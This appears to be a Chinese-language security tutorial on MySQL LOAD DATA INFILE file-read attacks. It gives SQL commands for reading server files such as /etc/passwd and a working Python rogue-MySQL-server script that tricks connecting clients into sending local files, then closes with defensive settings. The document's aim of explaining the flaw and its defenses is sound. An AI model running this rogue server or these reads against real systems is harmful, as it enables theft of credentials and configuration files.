通过MySQL LOAD DATA特性来达到任意文件读取
字数 1248 2025-08-26 22:11:15
MySQL LOAD DATA 特性任意文件读取漏洞分析与利用
漏洞概述
MySQL 的 LOAD DATA INFILE 特性允许用户将文件内容导入到数据库表中,但当该功能被滥用时,可以导致任意文件读取漏洞。攻击者可以利用这一特性读取服务器或客户端上的敏感文件,如配置文件、密码文件等。
LOAD DATA INFILE 基础功能
基本语法
LOAD DATA [LOW_PRIORITY | CONCURRENT] [LOCAL] INFILE 'file_name'
[REPLACE | IGNORE]
INTO TABLE tbl_name
[FIELDS
[TERMINATED BY 'string']
[[OPTIONALLY] ENCLOSED BY 'char']
[ESCAPED BY 'char']
]
[LINES
[STARTING BY 'string']
[TERMINATED BY 'string']
]
[IGNORE number LINES]
[(col_name_or_user_var,...)]
[SET col_name = expr,...]
关键参数说明
LOCAL:指定从客户端主机读取文件,而非服务器INFILE 'file_name':指定要读取的文件路径INTO TABLE tbl_name:指定数据导入的目标表FIELDS TERMINATED BY:指定字段分隔符
漏洞利用场景
场景1:读取服务器端文件
当攻击者能够登录目标MySQL服务器但数据库中没有重要数据时,可以尝试:
-
检查服务器是否启用LOAD DATA INFILE功能:
SHOW VARIABLES LIKE '%secure%';secure_file_priv值为NULL:禁止导入/导出secure_file_priv值为目录路径:限制在该目录下操作secure_file_priv值为空:无限制
-
检查用户是否有FILE权限:
SELECT File_priv FROM mysql.user WHERE User = 'username'; -
读取服务器文件示例:
LOAD DATA INFILE '/etc/passwd' INTO TABLE test.test FIELDS TERMINATED BY '\n';
场景2:读取客户端文件(更危险)
通过伪造MySQL服务器诱使客户端连接并发送文件内容:
-
攻击流程:
- 攻击者搭建恶意MySQL服务器
- 诱使受害者连接(如通过修改Web应用配置)
- 服务器响应认证成功
- 发送LOAD DATA LOCAL请求读取客户端文件
- 客户端执行并将文件内容发送给攻击者
-
技术原理:
- MySQL客户端不跟踪请求命令,完全基于服务器响应执行
- 只需响应Auth OK即可欺骗客户端
- 客户端会自动执行服务器发送的LOAD DATA请求
漏洞利用工具
Python伪造MySQL服务器脚本
#!/usr/bin/python
#coding: utf8
import socket
# 要读取的文件路径
# Linux: filestring = "/etc/hosts"
# Windows: filestring = "C:\\Windows\\system32\\drivers\\etc\\hosts"
HOST = "0.0.0.0" # 监听所有接口
PORT = 3306
BUFFER_SIZE = 1024
# 1. MySQL问候包
greeting = "\x5b\x00\x00\x00\x0a\x35\x2e\x36\x2e\x32\x38\x2d\x30\x75\x62\x75\x6e\x74\x75\x30\x2e\x31\x34\x2e\x30\x34\x2e\x31\x00\x2d\x00\x00\x00\x40\x3f\x59\x26\x4b\x2b\x34\x60\x00\xff\xf7\x08\x02\x00\x7f\x80\x15\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x68\x69\x59\x5f\x52\x5f\x63\x55\x60\x64\x53\x52\x00\x6d\x79\x73\x71\x6c\x5f\x6e\x61\x74\x69\x76\x65\x5f\x70\x61\x73\x73\x77\x6f\x72\x64\x00"
# 2. 认证成功响应
authok = "\x07\x00\x00\x02\x00\x00\x00\x02\x00\x00\x00"
# 3. 恶意Payload
payloadlen = "\x0b"
padding = "\x00\x00"
payload = payloadlen + padding + "\x0b\x00\x00\x01\xfb\x2f\x65\x74\x63\x2f\x68\x6f\x73\x74\x73"
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((HOST, PORT))
s.listen(1)
while True:
conn, addr = s.accept()
print 'Connection from:', addr
conn.send(greeting)
while True:
data = conn.recv(BUFFER_SIZE)
print " ".join("%02x" % ord(i) for i in data)
conn.send(authok)
data = conn.recv(BUFFER_SIZE)
conn.send(payload)
print "[*] Payload send!"
data = conn.recv(BUFFER_SIZE)
if not data: break
print "Data received:", data
break
conn.close()
现有工具
- Rogue-MySql-Server Tool:专门用于读取连接客户端文件的MySQL虚假服务器
受影响客户端
-
PHP客户端:
- mysql/mysqli扩展:默认受影响
- PDO扩展:默认禁止,需设置
PDO::MYSQL_ATTR_LOCAL_INFILE为true
-
Python MySQLdb:需要设置local_infile连接选项
防御措施
-
服务器端:
- 设置
secure_file_priv为特定目录或NULL - 限制FILE权限的分配
- 监控异常LOAD DATA操作
- 设置
-
客户端:
- 禁用LOCAL INFILE功能(启动时加
--disable-local-infile) - 不信任第三方MySQL服务器
- 更新客户端库到最新版本
- 禁用LOCAL INFILE功能(启动时加
-
应用开发:
- 避免使用LOCAL INFILE功能
- 对用户提供的MySQL连接参数进行严格过滤